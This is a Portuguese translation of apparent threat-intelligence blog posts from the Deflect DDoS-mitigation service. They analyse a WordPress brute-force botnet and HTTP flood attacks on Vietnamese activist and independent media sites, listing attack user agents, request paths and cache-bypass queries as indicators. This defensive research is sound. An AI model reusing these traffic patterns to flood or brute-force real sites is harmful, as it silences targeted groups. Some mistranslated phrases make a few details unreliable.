Compartilhamos indicadores dos ataques com outros membros de um Centro de Compartilhamento e Análise de Informações (ISAC) do qual fazemos parte. Dois membros confirmaram ter observado os mesmos ataques em seus sites profissionais e pessoais. Um dos membros concordou em compartilhar registros e endereços IP conosco, o que confirmou o mesmo tipo de ataque com o mesmo user-agent.
Utilizamos tanto o acesso aberto quanto o corporativo daplataforma GreyNoisepara coletar mais dados sobre essa botnet. A GreyNoise é uma plataforma de inteligência contra ameaças que se concentra em identificar o “ruído” de ataques online por meio de uma ampla rede de honeypots, a fim de diferenciar ataques direcionados dos não direcionados. (Conseguimos acesso à plataforma empresarial depois que um membro da eQualit.ie contribuiu para o desenvolvimento de ferramentas para a plataforma GreyNoise). A GreyNoise funciona coletando informações sobre endereços IP que estão fazendo varreduras em qualquer honeypot da GreyNoise e marcando-os com base no tipo de varredura identificado. Podemos ver rapidamente novisualizadordoGreyNoiseque muitos endereços IP são identificados como WORDPRESS_WORM:
Enumeramos a lista de endereços IP classificados como WORDPRESS_WORM e, em seguida, consultamos informações detalhadas sobre cada um deles, a fim de identificar aquele que utilizava a característica de user-agent do Firefox 52, típica dessa botnet. Identificamos 725 endereços IP diferentes nesse conjunto de dados entre os últimos 5.000 scanners do WordPress disponíveis por meio da API Enterprise.
Essas duas informações confirmam que essa botnet está atacando sites muito além daqueles que protegemos com o Deflect.
Identificamos a primeira consulta proveniente dessa botnet nos sites do Deflect em 27 de setembro de 2017. Representamos graficamente o número de solicitações feitas por essa botnet à página /wp-login.php ao longo do tempo:
Ao analisarmos mais detalhadamente a distribuição do número de solicitações por endereço IP, percebemos que um pequeno número de endereços IP está gerando um grande número de solicitações:
Identificamos 3.148 endereços IP únicos pertencentes a essa botnet a partir das seguintes fontes:
Ao verificar os Sistemas Autônomos (AS) de origem, podemos observar que 39% dos endereços IP provêm dos AS 4134 (backbone da Chinanet) e 4837 (China169):
Se analisarmos os países de origem desses endereços IP, percebemos que 53% deles estão localizados na China:
Consultamos o ipinfo.io para saber a que tipo de Sistemas Autônomos esses endereços IP pertencem:
Nossas descobertas mostram que a grande maioria desses sistemas provém de redes que fornecem acesso à Internet às pessoas por meio de smartphones, computadores ou outros dispositivos inusitados da Internet das Coisas.
Para identificar o sistema operacional desses bots, utilizamos outro recurso interessante do GreyNoise, que é a identificação do sistema operacional na origem dessas solicitações por meio de técnicas passivas de fingerprinting (utilizandoassinaturas p0f). Ao consultar todos os endereços IP dessa botnet no GreyNoise e filtrar aqueles que utilizavam o agente de usuário do Firefox 52, verificamos quais sistemas operacionais esses endereços IP utilizavam (1.370 endereços IP da nossa lista foram identificados no GreyNoise com o agente de usuário do Firefox 52):
Vemos aqui que 50% desses endereços IP são identificados como sistemas Linux, em sua maioria com kernels antigos do Linux (2.4 ou 2.6). Nossa conclusão é que essa botnet é composta principalmente por roteadores comprometidos, dispositivos da Internet das Coisas ou smartphones Android (o Android utiliza o kernel do Linux).
Outro fato interessante revelado pelos dados do GreyNoise é que, entre esses endereços IP, 2.105 também foram identificados em outros tipos de varreduras, principalmente relacionadas às seguintes atividades suspeitas:
Utilizamos esses dados para mapear a atividade identificada pelo GreyNoise ao longo do tempo, primeiro apenas para o tráfego de ataques de força bruta no WordPress e, em seguida, para qualquer atividade suspeita:
Podemos observar que essa botnet não é usada apenas para atacar o WordPress, nem que a maioria desses dispositivos esteja comprometida por mais de um malware.
Não identificamos nenhum impacto dessa botnet nos sites protegidos pelo Deflect. A primeira razão é que qualquer tráfego intenso que ultrapasse o limite definido em nossas regras do Banjax bloquearia automaticamente o endereço IP por algum tempo. Grande parte do tráfego proveniente dessa botnet foi, de fato, bloqueada automaticamente pelo Deflect.
A segunda razão é que a maioria dos sites que utilizam o Deflect emprega a proteção da página de administração do Banjax, que exige uma senha compartilhada adicional para acessar as seções de administração de um site (no caso do WordPress, /wp-admin/)
A documentação do WordPressdescreve várias maneiras de proteger seu site contra esses ataques de força bruta. A primeira delas é usar uma senha forte, de preferência uma frase-senha capaz de resistiraos ataques de dicionário, que são os mais comuns.
Existem também muitos plugins do WordPress que permitem bloquear um endereço IP após várias tentativas malsucedidas, comoo Brute Force Login Protection,o Ninja Firewallouo SiteGuard(veja a lista completa de extensõesaqui).
Também é possível adicionar uma senha extra (um pouco como o Banjax faz) à área de administração do seu site usando a autenticação HTTP. Consulte adocumentação do WordPress para obter mais informações. (Se você escolher essa opção, recomenda-se instalar uma ferramenta que impeça ataques de força bruta via HTTP, comoo fail2ban).
Para hospedagem profissional do WordPress, uma medida eficaz contra esses ataques é separar o código PHP ativo do WordPress do código renderizado, hospedando a parte administrativa do site em um domínio diferente (por exemplo, usandoo django-wordpress). Pretendemos implementar essa estratégia em nossa própria hospedagem do WordPress nos próximos meses.
Nesta postagem do blog, descrevemos uma botnet que tem como alvo sites do WordPress em todo o mundo. O número de dispositivos envolvidos no ataque é bastante grande (mais de 3.000), o que demonstra que se trata de uma atividade bem organizada. Não temos informações sobre o malware usado para comprometer esses dispositivos nem sobre o objetivo desse grupo. Estamos definitivamente interessados em entrar em contato com qualquer pessoa que tenha mais informações sobre esse grupo ou interesse em dar continuidade a essa investigação. Entre em contato conosco peloe-mail outreach AT equalit.ie.
Gostaríamos de agradecer aos membros da ONG ISAC, ao ipinfo.io e à equipe do Greynoise.io pelo apoio.
Você pode observar os seguintes indicadores no seu tráfego:
Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0POST /wp-login.phpeGET /?author=1(testando autores entre 1 e 60)Não temos informações sobre as ações tomadas após o comprometimento.
Assim como em nosso último relatório, não podemos divulgar os endereços IP públicos utilizados por essa botnet, pois provavelmente se trata de sistemas comprometidos e não podemos controlar os possíveis efeitos colaterais decorrentes do compartilhamento desses endereços IP com os proprietários desses sistemas. Estamos abertos a compartilhá-los de forma privada. Estamos cientes dos desafios envolvidos no compartilhamento de inteligência sobre ameaças de DDoS e também temos interesse em iniciar uma discussão sobre esse tema. Entre em contato conosco pelo e-mailoutreach AT equalit.ie.
Esta postagem no blog é a primeira de uma série intitulada “Notícias do Deflect”, destinada a descrever ataques a sites protegidos pelo Deflect, com o objetivo de dar continuidade às discussões sobre ataques de negação de serviço distribuída (DDoS) contra a sociedade civil.
O Deflecté um serviço gratuito de mitigação de ataques DDoS destinado a organizações da sociedade civil (consulte nossosTermos de Serviçopara saber quem se enquadra nessa descrição). Nossa plataforma filtra o tráfego entre os usuários e os sites da sociedade civil para remover solicitações maliciosas; neste caso, bots que tentam sobrecarregar os sistemas com o objetivo de tornar o site indisponível e silenciar grupos políticos ou a mídia independente.
Temos protegido dois sites vietnamitas, viettan.org e baotiengdan.com, na plataforma Deflect.A Việt Tâné uma organização que busca estabelecer a democracia por meio de reformas políticas no Vietnã.O Tiếng Dâné um meio de comunicação online independente e apartidário que cobre notícias políticas no Vietnã.
Nos últimos meses, observamos um aumento significativo de ataques DDoS contra esses dois sites. Embora os sites e as organizações Việt Tân e Tiếng Dân não tenham qualquer relação entre si e tenham perspectivas políticas diferentes, nossas investigações revelaram vários ataques direcionados a ambos simultaneamente. Pareceu-nos que esses ataques são motivados por uma campanha coordenada e solicitamos o consentimento dos sites para publicar um resumo das atividades descobertas.
Figura 1: mapa de calor dos incidentes de DDoS contra os sites do Việt Tân e do Tiếng Dân nos últimos meses
Há mais de uma década, há evidências de ataques online contra a sociedade civil vietnamita. Os primeiros ataques de que temos conhecimento visavam silenciar sites, seja por meio de ataques DDoS — como os ataques contra o site Bauxite Vietnam emdezembro de 2009 e janeiro de 2010, ou contra o Việt Tân emagosto de 2011 —, seja comprometendo suas plataformas, como ocorreu com o Anh Ba Sam em 2013.
Em 2013, a descoberta pelo Citizen Lab deservidores da FinFisher instalados no Vietnã indicou operações de malware contra ativistas e jornalistas. Em março de 2013, a editora-chefe do baotiengdan.com, Thu Ngoc Dinh, na época editora-chefe do Anh Ba Sam, teve seu computador invadido esuas fotos pessoais publicadas na internet. Mais tarde naquele ano, aElectronic Frontier Foundationdocumentou uma operação direcionada de malware contraativistas e jornalistas vietnamitas. Esse ataque é agora atribuído a um grupo chamado OceanLotus (ouAPT32), que se acredita estar sediado no Vietnã. Recentemente, um ataque direcionado a mais de 80 sites de organizações da sociedade civil (direitos humanos, mídia independente, blogueiros individuais, grupos religiosos) foi descoberto pelaVolexity em novembro de 2017e atribuído a esse mesmo grupo Ocean Lotus.
Ao mesmo tempo, há uma forte repressão à mídia independente no Vietnã. Vários artigos da Constituição vietnamita criminalizam publicações online que se opõem à República Socialista do Vietnã. Essas disposições têm sido utilizadas regularmente para ameaçar e condenar ativistas, como a blogueira Nguyen Ngoc Nhu Quynh, conhecida como “Mother Mushroom”, que foi condenadaa 10 anos de prisãopor distorcer políticas governamentais e difamar o regime comunista em postagens no Facebook em junho de 2017. Recentemente, legisladores vietnamitas aprovaram umalei de segurança cibernéticaque exige que grandes empresas de TI, como o Facebook ou o Google, armazenem localmente os dados pessoais dos usuários no Vietnã. Essa lei tem enfrentado forte oposição por meio deprotestos de ruae de grupos de direitos humanos, comoa Human Rights Watch e a Anistia Internacional.
O Vietnã ocupa a 175ª posição entre 180 países noÍndice Mundial de Liberdade de Imprensa de 2018da Repórteres Sem Fronteiras e obteve uma pontuação de 75/100 norelatório “Liberdade na Internet” de 2017, elaborado pela Freedom House.
Desde 17 de abril de 2018, identificamos 10 ataques DDoS diferentes direcionados aos sites do Việt Tân ou do Tiếng Dân:
| Data | Meta | |
|---|---|---|
| 1 | 17/04/2018 | viettan.org |
| 2 | 17/04/2018 | baotiengdan.com |
| 3 | 04/05/2018 | viettan.org |
| 4 | 09/05/2018 | viettan.org |
| 5 | 09/05/2018 | baotiengdan.com |
| 6 | 23/05/2018 | baotiengdan.com |
| 7 | 07/06/2018 | baotiengdan.com |
| 8 | 10 de junho de 2018 | baotiengdan.com |
| 9 | 12 de junho de 2018 | viettan.org |
| 10 | 15/06/2018 | baotiengdan.com |
Todos esses ataques foram do tipo “flood” de HTTP, mas vieram de fontes diferentes e apresentavam características distintas (agentes de usuário, caminho solicitado etc.).
Desde o início da análise, observamos algumas semelhanças entre os diferentes ataques, principalmente por meio dos agentes de usuário utilizados pelos diversos bots ou do caminho solicitado. Queríamos identificar rapidamente grupos de ataques que compartilhassem as mesmas Táticas, Técnicas e Procedimentos (TTP).
Descrevemos inicialmente suas características na tabela a seguir:
| id | Meta | Hora de início | Hora de encerramento | #IP | #Acessos | Caminho | Agente do usuário | String de consulta |
|---|---|---|---|---|---|---|---|---|
| 1 | viettan.org | 17/04/2018 08:20:00 | 17/04/2018 09:10:00 | 294 | 63 830 | / | Por UA aleatória por IP | Nenhum |
| 2 | baotiengdan.com | 17/04/2018 8h30min | 17/04/2018 10:00:00 | 568 | 33 589 | / | Um UA aleatório por IP | Nenhum |
| 3 | viettan.org | 28/04/2018 00:00:00 | 04/05/2018 15:00:00 | 5001 | 2 257 509 | / ou /spip.php | Mozilla/5.0 (compatível; MSIE 10.0; Windows NT 6.2) | se for SPIP, /spip.php?page=email&id_article=10283 |
| 4 | viettan.org | 09/05/2018 02:30:00 | 09/05/2018 03:20:00 | 217 | 58 271 | / | Uma UA por IP | Nenhum |
| 5 | baotiengdan.com | 09/05/2018 08:30:00 | 09/05/2018 11:30:00 | 725 | 235 157 | / | Um ou vários UA por IP | Nenhum |
| 6 | baotiengdan.com | 23/05/2018 15:00:00 | 24/05/2018 09:30:00 | 557 | 2 957 065 | / | Um UA aleatório por IP | Nenhum |
| 7 | baotiengdan.com | 07/06/2018 01:45:00 | 07/06/2018 05:30:00 | 70 | 17 131 | / | Um UA aleatório por IP | Nenhum |
| 8 | baotiengdan.com | 10 de junho de 2018, 05:45:00 | 11 de junho de 2018, 06:30:00 | 349 | 5 214 730 | / | python-requests/2.9.1 | ?&s=nguyenphutrong e curtidas aleatórias |
| 9 | viettan.org | 12 de junho de 2018, às 05:00:00 | 12 de junho de 2018, 06:30:00 | 1 | 9 978 | / | 329 agentes de usuário diferentes | Curtida aleatória como ?x=%99%94%7E%85%7B%7E8D%96 |
| 10 | baotiengdan.com | 15 de junho de 2018, 13h00 | 15/06/2018 23:00:00 | 1 | 518 899 | / | python-requests/2.9.1 | ?s=nguyenphutrong |
A partir desta tabela, podemos observar que os incidentes 8 e 10 utilizam claramente a mesma ferramenta identificada pelo agente de usuário (python-requests/2.9.1) e realizam a mesma consulta específica/?&s=nguyenphutrongcom base no nome deNguyễn Phú Trọng, o atual secretário-geral do Partido Comunista do Vietnã. Reunimos esses dois ataques no Grupo C.
Os incidentes 3 e 9 apresentam características diferentes das demais; parece que utilizam duas ferramentas personalizadas distintas para ataques DDoS. Nós os separamos em dois grupos distintos, B e D (veja os detalhes na parte 2).
Ainda temos seis ataques diferentes que compartilham características comuns, mas não o suficiente para confirmar qualquer ligação entre eles. Todos eles fazem consultas à raiz “/”sem nenhuma string de consulta, o que é bastante comum em ataques DDoS. Eles utilizam User-Agents aleatórios para cada endereço IP, o que se assemelha bastante ao tráfego legítimo.
Queríamos verificar se esses diferentes ataques compartilhavam endereços IP; por isso, representamos tanto os endereços IP quanto os incidentes em um gráfico do Gephi para visualizar as ligações entre eles (os endereços IP são representados por pontos vermelhos e os incidentes por pontos verdes na figura a seguir):
Identificamos seis incidentes que compartilham endereços IP em comum em suas redes de bots e os apresentamos na tabela a seguir, intitulada “Endereços IP em comum entre incidentes”:
| incidentes | Número de endereços IP | Intersection IP | % do total de endereços IP da botnet |
|---|---|---|---|
| 6 e 1 | 557 e 294 | 5 | 1,70 % |
| 6 e 4 | 557 e 217 | 6 | 2,76 % |
| 6 e 7 | 557 e 70 | 3 | 4,29 % |
| 6 e 5 | 557 e 725 | 8 | 1,44 % |
| 6 e 2 | 557 e 568 | 1 | 0,18 % |
| 1 e 4 | 294 e 217 | 1 | 0,46 % |
| 1 e 7 | 294 e 70 | 2 | 2,86 % |
| 1 e 5 | 294 e 725 | 9 | 3,06 % |
| 1 e 2 | 294 e 568 | 155 | 52,72 % |
| 4 e 7 | 217 e 70 | 2 | 2,86 % |
| 4 e 5 | 217 e 725 | 14 | 6,45 % |
| 4 e 2 | 217 e 568 | 1 | 0,46 % |
| 7 e 5 | 70 e 725 | 1 | 1,43 % |
| 7 e 2 | 70 e 568 | 1 | 1,43 % |
| 5 e 2 | 725 e 568 | 22 | 3,87 % |
Há uma forte sobreposição entre os bots utilizados nos Incidentes 1 e 2 (53%), o que é revelador, considerando que o Incidente 1 tem como alvo o site viettan.org e o Incidente 2, o site baotiengdan.com. Isso é um forte indício de que uma botnet semelhante foi usada para atacar esses dois domínios, especialmente porque os ataques foram orquestrados simultaneamente no dia 17 de abril.
Todos os demais ataques compartilham entre 1 e 22 endereços IP em comum (<10%), o que representa uma porcentagem bastante pequena de interseção e pode ter diferentes explicações. Por exemplo, o mesmo sistema pode ter sido comprometido por vários malwares diferentes, transformando-o em um bot, ou diferentes sistemas comprometidos podem estar por trás do mesmo IP público.
Outro aspecto a se considerar é se esses endereços IP usados em diferentes ataques são provenientes dos mesmos países. Se considerarmos uma botnet que utilizaria métodos específicos para infectar sistemas finais, é provável que eles estejam distribuídos de forma desigual pelo mundo. Por exemplo, um ataque de phishing em um determinado idioma seria mais eficiente em um país onde esse idioma é falado, ou uma varredura em toda a Internet em busca de roteadores vulneráveis comprometeria mais dispositivos em países que utilizam o roteador visado.
Geolocalizamos esses endereços IP utilizandoo banco de dados GeoLiteda MaxMind e representamos a origem no gráfico a seguir (os países com menos de 5% dos endereços IP foram classificados como “Outros” para facilitar a visualização):
Além do Incidente 7, esses ataques apresentam claramente o mesmo perfil: entre 15% e 30% dos endereços IP são da Índia, entre 5% e 10% da Indonésia, seguidos pelas Filipinas ou pela Malásia. Surpreendentemente, o 7º incidente apresenta apenas um endereço IP proveniente da Índia (classificado como “Outros” neste gráfico), mas apresenta uma distribuição semelhante nos demais países. Portanto, a distribuição parece bastante semelhante.
Outra característica interessante desses ataques é que cada endereço IP utiliza um único agente de usuário para todas as suas solicitações, provavelmente selecionado a partir de uma lista de agentes de usuário predefinidos. Listamos os agentes de usuário utilizados em diferentes incidentes e verificamos a semelhança entre essas listas:
| incidentes | Número de UA | Número de UA idênticas | Porcentagem |
|---|---|---|---|
| 6 e 2 | 68 e 40 | 29 | 72,50 % |
| 6 e 1 | 68 e 54 | 32 | 59,26 % |
| 6 e 5 | 68 e 97 | 40 | 58,82 % |
| 6 e 4 | 68 e 57 | 32 | 56,14 % |
| 6 e 7 | 68 e 38 | 34 | 89,47 % |
| 2 e 1 | 40 e 54 | 23 | 57,50 % |
| 2 e 5 | 40 e 97 | 27 | 67,50 % |
| 2 e 4 | 40 e 57 | 17 | 42,50 % |
| 2 e 7 | 40 e 38 | 27 | 71,05 % |
| 1 e 5 | 54 e 97 | 32 | 59,26 % |
| 1 e 4 | 54 e 57 | 29 | 53,70 % |
| 1 e 7 | 54 e 38 | 28 | 73,68 % |
| 5 e 4 | 97 e 57 | 34 | 59,65 % |
| 5 e 7 | 97 e 38 | 31 | 81,58 % |
| 4 e 7 | 57 e 38 | 24 | 63,16 % |
Entre 42% e 81% dos agentes de usuário são comuns a cada par de incidentes. A baixa sobreposição entre dois incidentes pode ser devida tanto ao uso de versões diferentes da mesma ferramenta em ataques distintos quanto à interferência no tráfego legítimo.
Foram utilizados 15 agentes de usuário diferentes nos 6 incidentes:
| User-Agent | Descrição |
|---|---|
| Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 | Firefox 5 no Windows XP |
| Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 | Firefox 3.6 no Ubuntu Linux 10 |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/53.0.2785.116 Safari/537.36 | Chrome 53 no Windows 10 |
| Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, como o Gecko) Chrome/53.0.2785.116 Safari/537.36 | Chrome 53 no Windows 7 |
| Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/45.0.2454.101 Safari/537.36 | Chrome 45 no Windows 7 |
| Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 | Firefox 41 no Windows 8.1 |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/63.0.3239.84 Safari/537.36 | Chrome 63 no Windows 10 |
| Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 | Firefox 41 no Windows 7 |
| Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, como Gecko) Chrome/13.0.782.112 Safari/535.1 | Chrome 13 no Windows Vista |
| Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/53.0.2785.116 Safari/537.36 | Chrome 53 no Mac OS X (El Capitan) |
| Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1 | Firefox 13 no Windows 7 |
| Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02 | Firefox 5 no Windows 7 |
| Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/63.0.3239.132 Safari/537.36 | Chrome 63 no Windows 7 |
| Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/53.0.2785.116 Safari/537.36 | Chrome 53 no Windows 10 |
| Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) semelhante ao Gecko | Internet Explorer 11 no Windows 7 |
Há muito tempo, utilizamos ferramentas de visualização e aprendizado de máquina para analisar ataques DDoS (por exemplo, no relatório sobre os ataques contrao movimento Black Lives Matter). Consideramos mais confiável analisar as informações relativas à sessão completa de um endereço IP (todas as solicitações feitas por um endereço IP durante um determinado período) em vez de analisar cada solicitação individualmente. Assim, geramos características que descrevem cada sessão de IP e, em seguida, visualizamos e agrupamos esses IPs para identificar bots. Essa abordagem é realmente interessante para confirmar a ligação entre esses diferentes ataques; neste caso, estamos nos baseando nas quatro características a seguir para comparar as sessões dos diferentes grupos:
Em primeiro lugar, podemos observar claramente que o Incidente 8 apresenta uma assinatura identificável devido ao uso de uma ferramenta criada especificamente para gerar user agents aleatórios e strings de consulta aleatórias (1.058 strings de consulta e 329 user agents):
Considerando outros ataques neste momento, a identificação não é tão clara, principalmente porque alguns endereços IP parecem realizar, ao mesmo tempo, tanto visitas legítimas ao site quanto ataques. Mas, para a maioria dos endereços IP, percebemos claramente que o número de strings de consulta e o tamanho da carga útil são fatores determinantes:
De modo geral, identificamos quatro grupos diferentes de ataques que compartilham as mesmas TTPs:
| Data | Meta | Grupo de Ataque | |
|---|---|---|---|
| 1 | 17/04/2018 | viettan.org | Grupo A |
| 2 | 17/04/2018 | baotiengdan.com | Grupo A |
| 3 | 04/05/2018 | viettan.org | Grupo B |
| 4 | 09/05/2018 | viettan.org | Grupo A |
| 5 | 09/05/2018 | baotiengdan.com | Grupo A |
| 6 | 23/05/2018 | baotiengdan.com | Grupo A |
| 7 | 07/06/2018 | baotiengdan.com | Grupo A |
| 8 | 10 de junho de 2018 | baotiengdan.com | Grupo C |
| 9 | 12 de junho de 2018 | viettan.org | Grupo D |
| 10 | 15/06/2018 | baotiengdan.com | Grupo C |
Vamos entrar em detalhes sobre o TTP de cada grupo:
a consulta “/” (o que é bastante comum), com um único user agent por IP (geralmente um user agent vazio). Os IPs desses grupos provêm da Ásia, principalmente da Índia, Indonésia, Filipinas ou Malásia. Os ataques desse grupo costumam reutilizar os mesmos agentes de usuário, o que pode indicar várias versões da mesma carga maliciosa.Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)para enviar uma solicitação GET / ou POST /spip.php?page=email&id_article=10283python-requests/2.9.1 (indicando o uso de um script em Python com a bibliotecarequests) consultando ou /?&s=nguyenphutrong ou um termo de pesquisa aleatório como /?s=06I44M?x=%99%94%7E%85%7B%7E%8D%96) para contornar o cacheOs ataques do Grupo Aforam, sem dúvida, os mais frequentes que observamos desde abril, com seis ataques diferentes realizados nos sites do Việt Tân e do Tiếng Dân.
No dia 9 de maio, por exemplo, observamos um pico no número de IPs bloqueados, primeiro em ataques contra o site viettan.org e, em seguida, contra o site baotiengdan.com:
Podemos confirmar que também houve um pico de tráfego nos dois sites:
Analisando o tráfego mais detalhadamente, percebemos que a maioria dos endereços IP responsáveis pela maior parte do tráfego está enviando solicitações apenas para o caminho/, como este IP 61.90.38.XXX, que realizou 4.253 solicitações GET para / com o agente de usuárioMozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1(esse agente de usuário indica que a solicitação veio de um navegador Firefox 13 no Windows 7; o Firefox 13 foi lançado em abril de 2012, sendo bastante improvável que alguém ainda o utilize hoje) ao longo de 30 minutos:
Identificamos como bots todos os endereços IP que apresentavam um número incomum de consultas à página “/” (mais de 90% do tráfego deles), e chegamos a uma lista de 217 endereços IP direcionados ao viettan.org e 725 endereços IP direcionados ao baotiengdan.com, com 14 em comum entre os dois incidentes.
Ao verificar onde esses endereços IP estão localizados, podemos ver que eles se encontram principalmente na Índia e na Indonésia:
Os 10 principais países:
Em seguida, quisemos entender qual é a origem desses incidentes e temos quatro hipóteses principais:
Agregamos os 2.212 endereços IP desses 6 incidentes e identificamos seu Sistema Autônomo. Para distinguir entre servidores e conexões de internet, utilizamos a classificação de Sistemas Autônomos do ipinfo.io:
Esse conjunto de endereços IP provém, em sua maioria, de redes de acesso pessoal à Internet em todo o mundo, seja de roteadores comprometidos ou de dispositivos finais comprometidos. Por muito tempo, a maioria das botnets era composta por sistemas Windows comprometidos, infectados por meio de worms, phishing ou aplicativos com backdoors. Desde 2016 e o surgimento dabotnet Mirai, ficou claro que as botnets da Internet das Coisas estão se tornando cada vez mais comuns, e temos observado regularmente o uso de roteadores ou câmeras digitais comprometidos em ataques DDoS.
A principal diferença entre esses dois casos é que os sistemas de IoT são acessíveis pela Internet e, muitas vezes, são comprometidos por meio de portas abertas. Para diferenciar esses dois casos, utilizamos dados dobanco de dados do Shodan. O Shodan é uma plataforma que realiza varreduras regulares em todos os endereços IPv4, procurando por portas específicas (a maioria delas exclusiva de dispositivos IoT) e armazenando os resultados em um banco de dados que pode ser consultado por meio de seumecanismo de buscaou de suaAPI. Implementamosum scriptque consulta a API do Shodan e utiliza assinaturas nos resultados para identificar sistemas em execução no endereço IP. Por exemplo, os roteadores MikroTik frequentemente expõem um servidor telnet, SNMP ou web, revelando a marca do roteador. Nosso script baixa dados do Shodan para um endereço IP e verifica se há correspondências com diferentes assinaturas de roteadores MikroTik. O Shodan permite obter dados históricos dessas varreduras; por isso, incluímos dados dos últimos 6 meses para cada endereço IP, a fim de maximizar as informações para identificar o sistema.
É claro que essa abordagem tem suas limitações, já que um roteador MikroTik pode ser seguro, mas estar encaminhando tráfego proveniente de um sistema final comprometido. No entanto, nossa hipótese é que, no caso de uma botnet de IoT, identificaríamos roteadores ou sistemas de IoT semelhantes para uma grande parte dos endereços IP.
Ao executar esse script em 2.212 endereços IP do grupo A, identificamos 381 roteadores, 77 gravadores de vídeo digitais e 50 roteadores entre esses 2.212 endereços IP. De acordo com o Shodan, 1.666 deles não apresentavam nenhuma porta aberta, o que tende a indicar que não se tratavam de servidores, mas sim de pontos de acesso à Internet profissionais ou pessoais. Portanto, nossa hipótese principal é que esses endereços IP sejam, em sua maioria, sistemas finais comprometidos (provavelmente sistemas Windows).
Quanto à localização, utilizamoso banco de dados GeoIP gratuitoda MaxMind para identificar o país de origem e constatamos que 50% dos endereços IP estão localizados na Índia, na Indonésia, no Brasil, nas Filipinas e no Paquistão.
O segundo grupo foi responsável por um ataque DDoS contra o site Viettan.org, ocorrido entre 29 de abril e 4 de maio, utilizando 5.000 endereços IP diferentes:
A ferramenta de ataque apresenta características específicas:
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)//spip.php?page=email&id_article=10283 Parece que a consulta é direcionada a uma página no framework webSPIP, o que poderia explorar umavulnerabilidadeconhecida do SPIP, mas é curioso, pois o site viettan.org não utiliza o SPIPSe analisarmos o Sistema Autônomo (AS) de cada endereço IP, verificamos que 97,7% deles provêm doAS 4134, que pertence à empresa estatalChina Telecom, responsável pelo acesso à Internet na China:
Realizamos a identificação dos sistemas utilizando a ferramenta baseada no Shodan descrita na seção 2.1 e identificamos 901 sistemas como roteadores (sendo 884 deles roteadores Mikrotik) e 512 sistemas como servidores (principalmente servidores Windows e Ubuntu)
É interessante observar a presença de roteadores MikroTik aqui, já quemuitaspessoasnotaram que botnets comprometeram roteadores MikroTik em março deste ano, explorando algumasvulnerabilidades conhecidas. No entanto, os 884 roteadores MikroTik representam apenas 17,6% do número total de endereços IP envolvidos neste ataque. Nossa principal hipótese é que essa botnet seja composta principalmente por sistemas finais comprometidos (provavelmente Windows ou Android). Também é possível que tenhamos aqui uma botnet que utilize uma combinação de sistemas finais comprometidos e roteadores MikroTik comprometidos.
A característica mais surpreendente dessa botnet é que ela provém quase exclusivamente de um único Sistema Autônomo, o AS4134, o que não é comum em ataques DDoS (na maioria das vezes, os alvos estão distribuídos por diferentes países). Uma terceira hipótese é que esse tráfego possa ser resultado de uma injeção de tráfego pelo provedor de serviços de Internet, com o objetivo de fazer com que os clientes enviem solicitações a esse site. Esse tipo de ataque já havia sido identificado uma vez peloCitizen Labem 2015, norelatório “China’s Great Cannon”, contra os sites github.com e GreatFire.org. Consideramos essa terceira hipótese improvável, pois o ataque de 2015 é o único caso documentado desse tipo, e exigiria uma colaboração entre grupos vietnamitas — provavelmente na origem desses ataques — e esse provedor de Internet estatal chinês, para um ataque oneroso com pouco ou nenhum impacto no site visado.
O terceiro grupo consiste em dois ataques direcionados ao site baotiengdan.com, ocorridos nos dias 10 e 15 de junho, utilizando uma ferramenta especialmente criada para esse fim. Identificamos o problema pela primeira vez em 10 de junho de 2018, quando um pico de tráfego causou problemas no site. Rapidamente percebemos que havia um número significativo de solicitações provenientes de diferentes endereços IP, todas com o mesmo agente de usuário:python-requests/2.9.1
Mais de 5 milhões de solicitações foram feitas naquele dia por 349 endereços IP. Para contornar o armazenamento em cache feito pelo Deflect, os bots foram configurados para consultar a página de busca, metade deles com a mesma consulta/?&s=nguyenphutrong, que é uma pesquisa pelo nome deNguyen Phú Trọng, o atual secretário-geral do Partido Comunista do Vietnã. A outra metade dos bots realizava consultas de pesquisa aleatórias, como?s=046GYHou?s=04B9BV.
Esses 349 endereços IP estavam distribuídos por diferentes países (aqui são mencionados apenas os 10 principais):
Ao analisarmos mais detalhadamente os hosts, identificamos que 180 deles são, na verdade, nós de saída do Tor (a lista de nós de saída do Tor épública). Utilizamos a mesma técnica de identificação baseada no Shodan para identificar os demais hosts e descobrimos que 89 deles são roteadores (principalmente roteadores MikroTik) e 51 são servidores:
Essa combinação de roteadores e servidores é confirmada pela classificação AS do ipinfo.io para esses IPs que não pertencem à rede Tor:
Portanto, esse ataque utilizou dois tipos diferentes de retransmissores ao mesmo tempo: arede Tore sistemas, roteadores ou servidores comprometidos.
O segundo ataque desse grupo foi surpreendentemente diferente: identificamos novamente um pico de tráfego no dia 15 de junho no site baotiengdan.com, proveniente de um único endereço IP, 66.70.255.195, que gerou 560.030 solicitações ao longo de um dia:
Esse tráfego certamente provinha do mesmo grupo de ataque, pois utilizava o mesmo agente de usuário (python-requests/2.9.1) e solicitava a mesma página/?s=nguyenphutrong.
